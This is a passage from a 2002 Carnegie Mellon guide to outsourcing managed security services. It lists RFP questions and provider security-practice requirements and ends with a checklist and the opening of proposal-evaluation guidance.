c. on-site. You offer permanent, on -site augmentation of our security staff and hardware/software. d. physical location of all architectural assets (such as SOCs), including international locations. ST2: How likely is it that the architecture you are designi ng and implementing is going to change over the short term (six to twelve months) and over the long term (one to five years)? For example, if we are creating business relationships that require extranets or other network configuration changes to accommodat e new partners, how do you account for this? Can your service architecture be easily changed with minimal impact to our ongoing operations and performance? ST3: What effect will your services have on our production network, if any? Are you able to monito r our network configuration as it exists today with no performance impact? [Navarro 01] ST4: How do your monitoring devices, sensors, and servers affect other security equipment or software already in place at our site [Navarro 01]? ST5: Describe how y our service solution integrates with our in -house security devices and technologies. It is desirable to achieve a positive return -on-investment (ROI) on existing approaches to the extent possible. [Navarro 01] ST6: Describe your capability and approach f or managing multi -vendor equipment on the same network, if applicable to your solution. 5 If the client does not have specific requirements for what services they want, how many of each they want, and their desired location (for example, IDS on four network segments, managed firewalls on tw o network segments), the client needs to include sufficient information for the provider to recommend a service architecture that best meets client security needs. Providing the following information helps the provider give the client more responsive recom mendations [ conversations with RedSiren]: • the storage location of critical data, including the computer(s) and network segment(s) where the computer storing the data resides • the network segments used when transmitting and accessing the data • network t opology diagram indicating o the computers and network segments identified above o the number of existing firewalls and their location o technical details, including computer operating systems in use and typical network throughput Copyright 2002 Carnegie Mellon University 25 ST7: How are your service systems managed? a. Do you use the Simple Network Management Protocol (SNMP) to aid in systems management? (If so, consider these solutions c arefully as some implementations contain documented vulnerabilities [CERT 02].) b. Are your management tools hardened and secured? (Refer to P1.3 .8 Secure Asset Configuration .) c. Is the traffic between your SOC and our systems encrypted? Whe re do the encrypted tunnels terminate (assuming there are tunnels between the networks)?6 ST8: For service installation: a. Are your service systems built and tested in a non -production (test or lab) environment? Are they built and tested in a production e nvironment? b. Do you install service systems at the client’s convenience? c. What is the expected client downtime for service installation? Do you require the client’s network to be down for a certain number of hours or days in order to implement the new servic e system(s)? d. Is there a trial period during which you provide on -site or immediate on -call support? e. Are there any backdoors into service systems? Do you use modems for remote access administrative purposes? If so, are backdoors and modems disconnected or disabled when not in use? How is this demonstrated? ST9: Documentation: Describe your process for keeping the following items current and making them available for client review. a. diagrams of the service architecture for each physical site, including all hardware and software. If this does not include the network architecture and topology, then include this as a separate diagram. b. an inventory of all service software including software developed by the provider. Describe the vendor, release levels, patch le vels, and any other characteristics that distinguish the configuration. P1.2.4 Service Hardware and Software (HS) HS1: Describe the products, technologies, and operating systems that you use to deliver requested services. Some security service provider s lock a client into a single technology, product, or operating system. They are, in essence, resellers for that configuration. The client needs to ensure that a provider can operate using a range of solutions. HS2: Describe the products, technologies, o perating systems, and architectures that you are able to monitor. Again, the provider needs to demonstrate flexibility. HS3: Demonstrate that new products and technologies can be easily integrated into the provider’s operational environment. 6 The best practice is to have encrypted tunnels terminate on the service system (such as the firewall or intrusion detection sensor) at the client’s site, and at the management system/console at the provider site. Most providers use “out of band” communication channels, such as separat e management encrypted tunnels, to manage service systems. This is more secure but may require another Internet connection into service systems at the client’s site. Copyright 2002 Carnegie Mellon University 26 HS4: Demon strate that provider staff skills and expertise are sufficient to support service software and hardware. HS5: Describe the practices you deploy to secure your security services software and hardware, both electronically and physically. (Refer to P1.3 Sec urity Practices.) P1.2.5 Service Scalability (SS) SS1: How scalable is the provider’s service to handle new client geographic locations (including international locations), growth in client business transactions and corresponding network traffic, and i ncreasing and changing threats? (The client should provide applicable forecasts of business growth and decline.) SS2: How much advance notice of the need for growth in service scale do you require? Are there any limitations in the rate of expansion that can be accommodated and penalty costs if forecasts expand or decrease beyond a specific range? SS3: The client needs to provide their capacity and growth requirements for the period of contract performance that will affect requested services. This may in clude such projections as growth over time in number of users, network traffic (including public web site access), and the number of servers to be monitored. P1.2.6 Service Levels (SL) SL1: Describe the levels of available service, the features of each level, and decision criteria that a client may use to select a desirable level of service. SL2: Propose pertinent measurements that can be expressed in client business performance terms based on provider experience with other clients. SL3: Describe rel evant measurements and measurement ranges for required work performed by the provider such as service speed, response times, and accuracy. SL4: Describe how you demonstrate and assure the quality of the delivered service. Keep in mind that high levels of service speed and response time often come at the expense of accuracy. Examples of how one might specify service levels include • how to determine the appropriate service uptime level given the choices specified under Service Availability above. • the range of intrusion response services to include analysis, internal and external communication with affected parties, collecting and protecting information including evidence, limiting the damage caused by the intrusion by containing it, eliminating all means of intruder access, returning systems to normal operation, and conducting an intrusion post mortem meeting to discuss lessons learned, implementing identified improvements such as removing vulnerabilities, and reducing the likelihood of similar attac ks recurring. • Levels of reported intrusion priority such as high, medium, and low (defined below): o high indicates that a system or application is no longer useable and this is having a significant impact on the business or on infrastructure security o mediu m indicates that a system or application is useable with a work around but is executing in a severely degraded mode. The business and security impact is moderate. Copyright 2002 Carnegie Mellon University 27 o low indicates that a system or application is experiencing some degraded performance and the impact to business and security is low. With these definitions, the client and provider can negotiate a level of service and its corresponding response and price. P1.2.7 Reporting Requirements (RR) RR1: What standard and customized reports are included in your cost proposal? How frequently are these reports provided? Can they be provided immediately upon client request? Reports should detail, at a minimum: all policy modifications, all configuration changes, a prioritized list of security alerts, and inf ormation on new security threats including those that may require policy changes [Pescatore 01b]. Provide a range of sample reports and a description of how they are used by both the client and the provider. RR2: Are reports available for specific networ k segments/devices for in -depth analysis or segment/device groups for overall trend analysis? RR3: Describe the types of reports you typically produce to enhance our knowledge of our security posture including, but not limited to, trend analysis, perform ance planning, capacity planning, and analyzing the cost -effectiveness of your services. RR4: How are reports typically delivered? Do you provide real -time access to network and system security status (often available as a secure web interface)? Do you offer timely security event and service outage reporting? RR5: How is report confidentiality protected? RR6: Describe your problem/action tracking system that addresses the initiation, status, and resolution of problems and action items. Indicate if you provide online access to the client to view status and history. Verify that service outages and other service level issues are tracked using this system. Provide sample reports produced by this system. RR7: Describe the process by which we can audit any and all reports for accuracy. RR8: Indicate your agreement to provide reports when requested that verify your compliance with contractual obligations [BITS 01, Section 4.1, p 20]. These could include a. the accuracy of charges and invoices, including assu rance and demonstration that the client cannot be billed for another client’s use of provider resources [Alner 01] b. the provider’s performance related to its 1. internal practices and procedures 2. disaster recovery and backup 3. efficiency and effectiveness in usi ng resources to provide services for which the client is charged 4. performance of the services according to performance standards RR9: Describe the training you offer to assist the client in understanding how to access reports (for online versions), interp ret them, and audit all reports. Refer to Practice 5 for additional details about possible reports to consider. Copyright 2002 Carnegie Mellon University 28 P1.2.8 Service Scope ( SP) (This content will most likely appear in Statement of Work task descriptions.) SP1: Do your services include consulting and training? Describe available training and on-site support to operationally assist us when your services are in place as well as to address any service limitations. P1.2.9 Cost (CO) CO1: Provide options for service structure, levels, and costs as well as service ROI (return on investment) information. Different levels of service are generally delivered at different costs. CO2: Indicate the basis for any changes in cost such as annual review results, comparison with industry benchmarks, s ervice use beyond negotiated levels, etc. CO3: Describe any cost advantages for a long term contractual commitment and if this varies by duration. P1.3 Security Practices Security practices are a third element of client requirements. The client must def ine the security policies, procedures, and resulting practices that the provider is expected to demonstrate.7 A client must require that • the provider’s network and system infrastructure operates securely (that is, uses good, commonly accepted security pra ctices). The provider must also require the same standards from any tiered providers with whom they subcontract. • the client’s network and system infrastructure remain well secured when the provider’s service is deployed Keep in mind that specific practic e implementations vary depending on the provider’s operational environment (shared vs. dedicated, single vs. multiple providers) and vary depending on the service being provided (for example, a provider’s security operations center handles multiple clients and is partially outsourced to another provider). This list of good, commonly accepted security practice topics is taken from the OCTAVESM Catalog of Practices, Version 2.0 . [Alberts 01b] and the BITS Framework: Managing Technology Risk for Information Technology (IT) Service Provider Relationships, Version 3.2a [BITS 01].8 A client needs to select security practices that are meaningful for a specific RFP and for a specific set of services. Practice topics include • Security Policies, Procedures, and Regu lations (PP) • Contingency Planning; Operational and Disaster Recovery (DR) • Physical Security (PS) • Data Handling (DH) • Authentication and Authorization (AA) 7 Although we expect that some providers may not feel obliged to provide this information. 8 Additional sources of credible, reputable practice recommendations may be found in four references found in the Bibliography of this report: [ISO/IEC 01], [Tipton 00], [ISF 01], [Allen 01]. Copyright 2002 Carnegie Mellon University 29 • Access Control (AC) • Software Integrity (SI) • Secure Asset Configuration (SC) • Backups (BU) • Monitoring an d Auditing (MA) • Incident Management (IM) P1.3.1 Security Policies, Procedures, and Regulations (PP) PP1: The provider has a comprehensive set of documented, current policies that are periodically reviewed, updated, and enforced. These policies are avail able for client review. PP2: The client provides relevant security policies as part of the RFP, including policies that specifically address the purpose and scope of the requested services. Ensure policies describe the purpose of the services and compan ion systems that are being requested and their responsibilities. For example, a client’s security policy states that inbound connection requests to the client’s internal network are not permitted from an untrusted network such as the Internet. Based on this policy, a provider can configure a firewall to block or deny all inbound packets that are not in response to requests from within the internal network. We understand that many client organizations do not have documented security policies, procedures , and practices or that they may not be able to share them publicly. In the absence of these, the client should ask specific questions in the RFP that address areas of concern to ensure client assets will be adequately protected. Business attributes (P1.1) , service attributes (P1.2), and security practices (P1.3) can serve as a candidate list of topics for formulating such questions. PP3: Compliance: a. The provider asserts that their security policies and procedures are compliant with those that the client has provided and do not conflict. Where compliance and conflict issues exist, the provider indicates how these are to be resolved. b. The provider demonstrates its ability (and the ability of its tiered providers, if applicable) to meet applicable legal and r egulatory requirements and the timely implementation and demonstration of compliance procedures. (The client provides these requirements in the RFP.) c. The provider demonstrates that they are exercising an appropriate standard of due care with respect to sec uring information assets, primarily accomplished through security policies, procedures, and practices that are documented and enforced. Copyright 2002 Carnegie Mellon University 30 P1.3.2 Contingency Planning; Operational and Disaster Recovery (DR) DR1: The provider has business continuity and d isaster recovery (BC/DR) plans for critical assets and asserts that they are periodically tested and found effective. For example : a. The provider has deployed operational redundancy (via a dual, high availability environment) in the event of a primary SOC fa ilure. b. A failover site, physically and geographically separate from the provider’s primary site, exists in the event of a natural disaster (earthquake, hurricane) or other circumstances that affect business continuity such as interruptions in local/region al utility service (communications, gas, electric, sewer, water). Or, conversely, the provider operates requested services using a distributed architecture from geographically diverse locations in the event of primary site loss of power, loss of Internet c onnectivity, natural disasters, etc. c. The provider contracts with multiple ISPs and is connected to multiple public exchanges operating on different trunk lines to ensure no loss of Internet connectivity. DR2: The provider’s plan describes [BITS 01, Secti on 4.12, p 24] a. access control requirements under disaster response mode involving a provider site outage b. the differences, if any, in access controls between operational and disaster recovery scenarios DR3: The provider provides a copy of their BC/DR pla n and procedures applicable to the requested services and the site(s) where these services are operated. DR4: The provider indicates if BC/DR testing is certified by an independent third party and, if so, provides a copy of the certification. [BITS 01, Section 4.12, p 24] DR5: The provider provides a copy of recent (within the last year) BC/DR test results. DR6: The provider’s BC/DR plans and testing of these plans includes all tiered providers involved in delivering the requested services. DR7: The provider (and any tiered providers involved) can support periodic joint testing of both the client’s and provider’s BC/DR plans. Such joint tests include impact scenarios that could potentially cause unacceptable interruption to client services. [BITS 01, Section 5.11.2, p 33] DR8: The provider demonstrates compliance with NFPA (National Fire Protection Association) 1600 - Standard for Disaster/Emergency Management and Business Continuity Programs.9 9 Information on this standard is available at http://www.davislogic.com/NFPA1600.htm and http://www.nfpa.org . The NFPA is an international nonprofit codes and standards organization. NFPA 1600 is a description of the basic cr iteria for a comprehensive program that addresses disaster recovery, emergency management, and business continuity. Copyright 2002 Carnegie Mellon University 31 P1.3.3 Physical Security (PS) PS1: The provide r controls physical access to information assets and IT services and resources based on their importance, and monitors and reviews all physical access. This includes a. identification and authentication of client and provider staff members who have physical a ccess to assets providing client services b. the process for requesting and approving physical access c. whether the physical assets are dedicated to the client or shared by multiple clients d. how physical assets are physically and securely segregated from other provider assets and other client assets e. client asset protection from unauthorized physical access PS2: The provider demonstrates the presence of physical security systems such as uninterruptible power supplies, backup generators, redundant climate contro l systems, and a data -center -grade fire control system for prevention and protection. P1.3.4 Data Handling (DH) DH1: The provider handles client data in accordance with the data’s classification (e.g., confidential, sensitive, public) and complies with client data handling requirements (policies, procedures, regulations). (The client provides these requirements. ) Media is visibly marked to identify the data’s classification. The provider describes how access to highly confidential client data is protecte d and controlled. Provider staff members that require access to such data are identified and trained in the access requirements for this data. [BITS 01, Section 5.4.1, p 28] DH2: The provider protects highly confidential and sensitive data by using defin ed chains of custody and removable storage media, creating backups that are stored off site, using encryption for data creation, transfer, and storage where required, and having a discard process for such data and its storage media. Refer also to P1.3.9 Ba ckups. [BITS 01, Section 6.2, 6.5, p 38, 39] DH3: All client and provider programs, data, and written materials are protected from unauthorized copy, use, duplication, and storage. [BITS 01, Section 5.4.9, p 28] DH4: The provider describes retention guidelines for various classes of data (such as user data, backups, logs, monitoring results, and reports) based on client requirements. Such guidelines specify how long data is retained online, its storage format and archive process, and how long the arch ives are available for data retrieval. DH5: The provider prevents inadvertent disclosure of client data by ensuring proper erasure of media used to store intermediate and final client files before this media is reused. [BITS 01, Section 5.3.3, p 27] P1.3.5 Authentication and Authorization (AA) AA1: The provider has implemented appropriate levels of user authentication and control of user access. User access can occur through network connections from both inside and outside the provider’s organization. Copyright 2002 Carnegie Mellon University 32 Provider practices are consistent with security policies and procedures. Provider practices take into account levels of restricted access required for specific assets and levels of data classification. AA2: The provider requires the use of at least two-factor authentication for administrative control of all network infrastructure devices to include switches, gateways, routers, firewalls, VPNs, and network segment monitoring systems such as intrusion detection systems. AA3: The provider protects critica l assets when authenticating and authorizing users and administrators working remotely (as well as third parties such as tiered service providers). This is implemented by using strong encryption and virtual private networks, access controls at the level of networks, systems, files, and applications, and by restricting access to authorized times and tasks as required. These practices apply to wireless network access as well. AA4: The provider uses mechanisms such as digital signatures for ensuring non - repudiation where it is critical to validate the sender’s or originator’s identity. AA5: For systems at the client’s site, the client has the responsibility to ensure that the provider cannot access non -service systems. The provider should also take steps to ensure that provider staff members are not permitted onto other client systems. This may involve setting access permissions for specific provider user groups on service systems residing at the client’s site. The client can then specifica lly block these groups on non -service systems, either by user group name or network address. The same precautions should be taken for systems located at the provider’s site. P1.3.6 Access Control (AC) AC1: The provider affirms that only duly authorized staff members who use and support requested service systems have access to the operating system, applications, and databases to be used in providing the requested services. Access controls a. apply to provider and client staff members b. specify which uses of t he system are authorized and how all others are denied/prohibited (such as unacceptable hardware and software installations) c. establish access request, access review, and access termination processes d. are consistent with client policies and procedures. (The se are provided by the client.) AC2: The provider’s access controls include processes for access request, access review, and access termination. AC3: The provider’s process for requesting new or changed access to service assets includes [BITS 01, Secti on 6.1.1, p 37] a. a process definition or flow b. access levels for development and support of service assets c. approval authority for access ID requests (provider, client, both) d. responsibility for implementation and maintenance of access IDs (provider, client, b oth) e. validation of access ID authorizing signatures Copyright 2002 Carnegie Mellon University 33 AC4: The provider’s process for reviewing new or changed access to service assets includes [BITS 01, Section 6.1.2, p 37 -38] a. responsibility for creation and maintenance of access authorization lists b. responsibility for review and approval of access authorization lists c. review frequency of access authorization lists d. a process to ensure timely change or deletion of access upon employee transfer and/or termination e. a process for timely validation of access re quest changes, accomplished through reviewing the changes made in comparison to the changes requested AC5: The provider has implemented a range of security controls to protect client and provider assets residing on service systems and networks to include a. access controls at the level of networks, systems, files, and applications b. data encryption (including key protection/distribution) and virtual private network technologies. In cases where strong encryption is required to protect asset confidentiality, th e provider uses tested, proven encryption algorithms (such as AES, 3DES10, and RC411) and keys longer than 40 bits. c. an approach to cryptographic key management including PKI (Public Key Infrastructure) details such as certificate authorities, directory serv er management, key recovery, and the use of PKI applications. [Cisco 01] Client and provider should review key management periodically to ensure that there are no weaknesses in the cryptosystem. (Refer to Practice 5.) d. perimeter and internal firewalls that implement security policy e. removable storage media for critical data so that it can be physically secured f. a system discard process that eradicates all data from disks and memory prior to disposal. g. means for client data, system, network, and performance prot ection from exposure to other clients when the service executes on shared servers or devices AC6: The provider’s SOC operates on a local network, which is accessible only by operations staff who are physically inside the center. Physical SOC access is restricted to authorized staff members. P1.3.7 Software Integrity (SI) SI1: The provider verifies the integrity of installed software by a. regularly checking for all viruses, worms, Trojan horses, and other malicious software and eradicating them b. keeping up -to-date virus signatures and other relevant signatures such as those for intrusion detection systems c. regularly comparing all file and directory cryptographic checksums with a trusted baseline d. regularly verifying that client data stored on provider equi pment is appropriately segregated from the data of other clients [BITS 01, Section 6.2, p 38] 10 Advanced Encryption Standard and Triple Data Encryption Standard. See http://csrc.ni st.gov/cryptval/des.htm . 11 RC4 is a stream cipher designed by Rivest. See http://www.rsasecurity.com/rsalabs/faq/3 -6-3.html. Copyright 2002 Carnegie Mellon University 34 Verifying software integrity includes verifying software written by the client (or expressly for them) and used by the provider [BITS 01, Section 5.6.6, p 30]. P1.3.8 Secure Asset Configuration (SC) The provider has deployed and documented procedures and processes to ensure the secure configuration of all client information assets throughout their life cycle (installation, operation, maintenance, retirement). Th ese are described below. SC1: The provider requires authentication on both ends of the communication when changes to the configuration are requested. This may include rotating passwords or pass phrases to verify user authenticity, and also their authoriz ation to make changes. SC2: The provider applies patches to correct security and functionality problems. What is the documented schedule for patching the software on service systems? Is there a scheduled time period to patch systems (i.e., a time period on a specific day of the week where routine, non -critical patches are applied to service systems)? How does the patching schedule affect service availability requirements? How quickly does the provider implement patches that address known vulnerabilities? SC3: The provider establishes a standard, minimum essential configuration for each type of computer and each type of service , storing this as a trusted base configuration. Actions to be taken include removing or disabling all unnecessary applications an d services (producing a minimum essential configuration), removing default accounts, and patching known vulnerabilities. Does the provider have a process for securely configuring service systems prior to deployment, and for keeping the system’s security co nfiguration up to date? Are configurations tested in a non -production environment prior to deployment? These questions apply to service systems at both provider and client sites. SC4: The provider enables adequate levels of logging to validate the asset ’s security status. SC5: The provider has well -established, documented configuration management and change control procedures as well as test procedures that are exercised when changes are made. This includes the ability to recover from upgrade and patch installation problems, backing out all relevant changes and establishing a previously working configuration. This also includes client approval of pending changes, if warranted, and client notification when changes are made that can affect client service processing, performance, and data. SC6: The provider tests all service system configurations after installation. How is this performed and how often? As configuration changes are made, the provider needs to test the configuration to ensure it is still wo rking as intended. Testing may include scanning and probing, as well as vulnerability assessment and penetration testing of the system. These types of tests reveal whether the current configuration is operating as intended. These results should be reported to the client on a regular basis. SC7: The provider considers the security implications for all changes to provider systems and networks. SC8: The provider performs vulnerability assessments and penetration tests on a regular basis and addresses weakn esses in a timely manner when they are identified. Copyright 2002 Carnegie Mellon University 35 Describe how frequently assessments are performed, how the provider stays abreast of the latest vulnerabilities12, what tools are used, and how the most critical weaknesses to address are identified (versu s the thousands that some tools report). See also P1.1.4 Independent Evaluations and Practice 8 . SC9: The provider asserts that no undocumented, unreported configuration changes will occur. P1.3.9 Backups (BU) BU1: The provider specifies a regular sche dule of backups for both software and data that includes a. how often backups of certain types (partial, full) are performed b. validating software and data before backup c. validating software and data after backup d. verifying the ability to restore from backups inc luding being able to accommodate client requests for unscheduled backup restoration e. the capability to back up critical data more frequently. (The client identifies such data.) f. identifying how long backup media is retained and if this can be specified by the client g. isolating this client’s backup media from that of other clients h. the use of encryption BU2: The provider describes how they perform backups of service system configuration files. The description answers the following questions: a. How are these fi les stored? b. Are they encrypted? Are they digitally signed? c. Who has access to them? d. Are they stored off -site? e. Is there a well -defined chain of custody process as backup media moves from location to location? It is advisable to sign and encrypt these f iles, as they can contain sensitive information about the service infrastructure. It is also prudent to severely restrict user access to these files. Providers should keep configuration files for a reasonable amount of time, usually one year, in the event that they are compromised or failures occur, requiring an archived, known, trusted copy of the configuration files to be reinstalled. P1.3.10 Monitoring and Auditing (MA) This practice describes actions the provider takes to monitor and audit its own sys tems and networks. It also applies to client systems and networks if the requested services include monitoring and auditing. For further details, refer to Practice 7. 12 Four excellent information sources about current vulnerabilities and patches are the CERT Coordination Center at http:// www.cert.org , SANS at http:// www.sans.org , Common Vulnerabilities and Exposures at http://www.cve.mitre.org/ , and Bugtraq at http:// www.bugtraq.com . Copyright 2002 Carnegie Mellon University 36 MA1: The provider uses appropriate monitoring, auditing, and inspection facilities and assigns responsibility for reporting, evaluating, and responding to system and network events and conditions. This includes a. regularly using system and network monitoring tools and examining the results they produce b. regularly using log filtering and analys is tools and examining the results they produce c. filtering raw logging information using automated tools to decrease the amount of information that analysts need to review The provider describes how often monitoring results are reviewed as part of norma l operations. MA2: The provider asserts that monitoring results and log files are generated in a write once-read many (WORM) mode so that they cannot be overwritten or tampered with, and that they are stored on read -only media. This guarantees that unaut horized users cannot alter or delete file contents. MA3: The provider describes a. how often monitoring is performed and whether or not this is done in real time b. how systems and networks are monitored c. if monitoring includes all network traffic entering and leaving the network d. if monitoring includes the entire network (firewalls, intrusion detection systems , routers, servers, niche security products, customer applications) and how correlation from all data sources is performed e. how significant monitorin g results are reported f. how monitoring results are stored, including logs g. how monitoring tools are protected and ensured to be secure MA4: The provider describes their ongoing processes for global vulnerability and threat analysis as well as the sources used for such analysis. P1.3.11 Incident Management (IM) The provider describes the following processes for both client and provider systems involved in executing requested services. IM1: Incident reporting and triage. This process involves the provi der reviewing reports of suspicious system and network behavior and events (an incident). Such reports often result from monitoring and auditing. A sound incident reporting and triage process ensures that all staff members know whom to contact when they no tice suspicious behavior and that they know how to take user reports into account. The process includes a. performing “triage” upon receipt of a report, making an initial assessment about its severity b. evaluating, correlating, and prioritizing each report c. investigating each report or set of related reports d. determining that an attack or intrusion has occurred and initiating the intrusion detection process Copyright 2002 Carnegie Mellon University 37 IM2: Intrusion detection: This process includes alert handling, describing what actions and countermeas ures are taken when alerts are generated. For example, all alerts are handled initially by automation, and when human action is required, a notification process delivers the information to an analyst. Include how this process is adapted to address new thre ats. IM3: Intrusion response: This process includes a. handoff from intrusion detection b. triage of all detected intrusions and how triage priorities are established c. how the service responds to a detected intrusion including 1. internal provider supervisor/mana ger notification. Describe escalation decision points and timing. For example, notification could occur within one and a half hours of detection to the first level supervisor, four hours to the next level up, eight hours to the next level, and sixteen hou rs to the responsible executive/senior manager. Times are likely to vary based on the negotiated service level. 2. notifying the client (describe escalation decision points and timing) 3. containing the damage 4. returning systems to normal operation 5. exercising opt ions for automated response 6. performing forensic analysis 7. preserving evidence 8. involving local, national, and international law enforcement [Cisco 01] 9. recommending improvement actions to ensure the same intrusion is not successful again IM4: The provide r describes the following process review approaches: a. how the client is informed and involved in these processes (IM1, IM2, IM3), including client roles, responsibilities, and approval authority. b. how often and under what conditions intrusion detection and response processes are exercised and tested. Include a summary of the scenarios and test cases that are used to conduct such testing. The best of provider organizations practice their responses to security incidents by performing exercises. This approach r esults in their being better prepared when a real event happens, and they then respond with skills that have been honed through practice sessions and exercises. IM5: The provider confirms that these processes are documented and available to the client, i f such documentation is not included in the proposal. P1.4 Case Studies This section gives the provider an opportunity to describe how their services have performed in an operational setting. The response is intended to provide scenario -based information that a client can use to evaluate the presence or absence of business attributes, service attributes, and security practices. Some of this information can be verified through independent sources. Copyright 2002 Carnegie Mellon University 38 Service Scenarios Describe the top three to five service -based events or incidents that the provider was involved in during the last twelve months. Describe the service delivery flow including automated support as well as staff analysis and support and client involvement. For example, during and after an attack o n a client’s systems and networks, describe the provider’s role in managing attack detection and response. If providers are unwilling to describe specific scenarios due to client confidentiality requirements, consider posing several hypothetical scenarios that are meaningful to the client organization and ask the provider how they would address them. Market Position Describe why you would buy your service instead of contracting with one of your top three competitors. Identify what distinguishes your serv ices in the marketplace as well as areas for improvement and future development. P1.5 Checklist Consider making a checklist modeled after Table 1 to support your RFP preparation. It may be necessary to add sub -entries under each attribute and practice to create a complete checklist. Consider including some form of the proposal evaluation matrix shown in Practice 2, section P2.4 in the RFP as a means by which to amplify the client’s priorities and requirements and, perhaps, ensure more responsive proposal s. Copyright 2002 Carnegie Mellon University 39 Table 1: MSS RFP Checklist RFP Requirement Include Exclude Tailor P1.1 Provider Business Attributes P1.1.1 Viability (VI) P1.1.2 Client Satisfaction (CS) P1.1.3 Relationships with Other Parties (RO) P1.1.4 Independent Evaluations (IE) P1.1.5 Personnel (PR) P1.1.6 Asset Ownership (AO) P1.1.7 Contractual Exception, Penalties, and Rewards (CE) P1.1.8 Service Level Agreement (SA) P1.1.9 Exit Strategy (ES) P1.1.10 Site Visit (SV) P1.1.11 Implementation Plan (IP) P1.1.12 Points of Contact (PC) P1.2 Provider Service Attributes P1.2.1 Top -level Security Requirements (SR) P1.2.2 Service Availability (SY) P1.2.3 Service Architecture (ST) P1.2.4 Service Hardware and Software (HS) P1.2.5 Service Scalability (SS) P1.2.6 Service Le vels (SL) P1.2.7 Reporting Requirements (RR) P1.2.8 Service Scope ( SP) P1.2.9 Cost (CO) P1.3 Provider Security Practices at Provider Site P1.3.1 Security Policies, Procedures, and Regulations (PP) P1.3.2 Contingency Planning; Operational and Disaster Recovery (DR) P1.3.3 Physical Security (PS) P1.3.4 Data Handling (DH) P1.3.5 Authentication and Authorization (AA) P1.3.6 Access Contro l (AC) P1.3.7 Software Integrity (SI) P1.3.8 Secure Asset Configuration (SC) P1.3.9 Backups (BU) P1.3.10 Monitoring and Auditing (MA) P1.3.11 Incident Management (IM) Copyright 2002 Carnegie Mellon University 40 P1.3 Provider Security Practices at Client Site P1.3.1 Security Policies, Procedures, and Regulations (PP) P1.3.2 Contingency Planning; Operational and Disaster Recovery (DR) P1.3.3 Physical Security (PS) P1.3.4 Data Handling (DH ) P1.3.5 Authentication and Authorization (AA) P1.3.6 Access Control (AC) P1.3.7 Software Integrity (SI) P1.3.8 Secure Asset Configuration (SC) P1.3.9 Backups (BU) P1.3.10 Monitoring and Auditing (MA) P1.3.11 Incident Management (IM) P1.4 Case Studies Service Scenarios Market Position Copyright 2002 Carnegie Mellon University 41 Practice 2: Guidance for Evaluating an MSS Proposal This practice contains guidelines for evaluating the merits of MSS proposals that have been submitted in response to a client -developed RFP for managed security services. To be acceptable, th e provider’s proposal must demonstrate how they intend to meet the requirements described in the RFP. This includes specified business attributes (P1.1), service attributes (P1.2), and security practices (P1.3). The purpose of evaluation is to verify that the provider has a well -developed approach to providing requested security services. The evaluation will also show whether or not the provider has adequate resources and the business experience needed to ensure a high quality, continuous level of service. [BITS 01, Section 4, p 19] Along with a review of all RFP requirements and the guidelines outlined in this practice, the client’s proposal evaluation should include [BITS 01, Section 4, p 19] • a review of the provider’s strategy, reputation, experience, a nd financial condition • a list of any tiered providers that the provider relies on to deliver service, how client requirements flow to tiered providers, and how tiered providers are held accountable for meeting client requirements • a consideration of the cos t of switching providers if the selected provider fails to meet contractual requirements. For example, what are the cost implications if the provider’s solution is proprietary? • a list identifying any user groups associated with the service and the provider ’s practice of communicating with clients through such groups • an assessment of the level of client trust in the provider as well as their responsiveness and quality -of-service (used to make a decision about service renewal) [Pescatore 02] When evaluating each provider’s proposal, keep the next step in mind: developing a contract and a service level agreement. In particular, consider those cases where the provider’s proposal response may require modification, where the provider’s standard SLA may require m odification or augmentation, and where the provider’s standard operating procedures may not be acceptable to the client. We recommend that a client verify proposal contents and claims by • requiring an evaluation by a trusted third party or results from a recently performed review (if the third party conducting the review is acceptable to the client) • performing reference checks based on referrals provided by the provider and sought independently • conducting site visits where the service will be performed Copyright 2002 Carnegie Mellon University 42 Providers can find it burdensome to respond to the wide range of potential business opportunities including requests for proposals, all of which have unique requirements. Clients should consider using recent provider certifications, evaluations, and othe r credible sources that accurately represent the provider’s condition. If the provider can use one general set of results to respond to several business opportunities, this aids both client and provider in maintaining a reasonable cost of doing business. When evaluating a provider’s proposal, a client needs to understand the level of risk in outsourcing any managed security service (see Introduction) to ensure that the cost to procure, operate, and manage provider service delivery and ensure service level agreement (SLA) compliance do not exceed the anticipated benefit. P2.1 Business Attributes Business attributes are one element of client requirements. They comprise characteristics, policies, processes, and procedures that need to be described in a qual ified RFP response and include • Viability (VI) • Client Satisfaction (CS) • Relationship with Other Parties (RO) • Independent Evaluations (IE) • Personnel (PR) • Asset Ownership (AO) • Contractual Exceptions, Penalties, and Rewards (CE) • Service Level Agreement (SA) • Exit Strategy (ES) • Site Visit (SV) • Implementation Plan (IP) • Points of Contact (PC) The provider’s proposed solution must satisfactorily address and comply with all business attributes presented in the client’s RFP. Guidelines for evaluating specific provide r business attributes are presented below. P2.1.1 Viability (VI) Viability guidelines are organized in six categories. These are • VI1: Financial • VI2: Services Offered • VI3: Organizational Breadth • VI4: Investment Strategies • VI5: References Copyright 2002 Carnegie Mellon University 43 VI1: Financ ial a. Annual revenue or investment funding information give a good indication of a provider’s financial status. For publicly traded companies, annual revenue of more than $10M per year in MSS contracts indicates a sufficient base of revenue to support growth and enhancement of services. If possible, select a large, publicly traded company that has the ability to weather temporary downturns in the economy [Navarro 01]. For privately funded startups, funding of more than $25M provides adequate cash reserves. At least 75 percent of a provider’s personnel should be involved in revenue -generating efforts: sales, SOC operation, and services delivery [Pescatore 01b]. b. The mix of provider personnel is close to 50:50 between operational SOC employees and billable consul tants. An equal mix of operational SOC personnel and billable consultants result in subscription services generating between 70 and 85 percent of revenue [Pescatore 01a]. c. The provider carries adequate levels of insurance. The provider can withstand service claims against them or a catastrophic incident and remain financially viable. d. Broad name recognition (or “mindshare” to use a currently popular term) is an indication of the provider’s marketing and communications campaign. The provider is perceived as a leader in the marketplace, demonstrated by press exposure, proactive detection and promulgation of security vulnerability alerts, effective seminar and education programs, and a good reputation according to peer providers and clients. e. Consider providers with at least three years of experience [Radcliff 00]. VI2: Services Offered a. The provider offers a comprehensive range of services and has the flexibility to meet a broad range of security needs. The provider has technical depth, expertise, and a mix of technical skills (managed services, audits, penetration testing, architecture, implementation assistance) to provide services reliably [Armstrong 01]. However, avoid providers that have conflicts of interest. For example, some providers offer security mana gement and monitoring. If the provider finds a security problem with a client’s network, will the provider tell the client or try to fix it quietly? Providers that both sell and manage security products have the same conflict. If a client outsources securi ty device management, it is essential that it outsource its monitoring to a different provider [Schneier 02]. VI3: Organizational Breadth a. Breadth in the type of channel partners (resellers) indicates a provider’s ability to increase and support its clien t base without having to build out an expensive direct sales channel and to spread its costs. Marketplace leaders are likely to acquire more than 40 percent of their clients from channel partners across multiple regions and all segments of the security ser vices and product markets [Pescatore 01b]. Providers that do not expand beyond regional clients 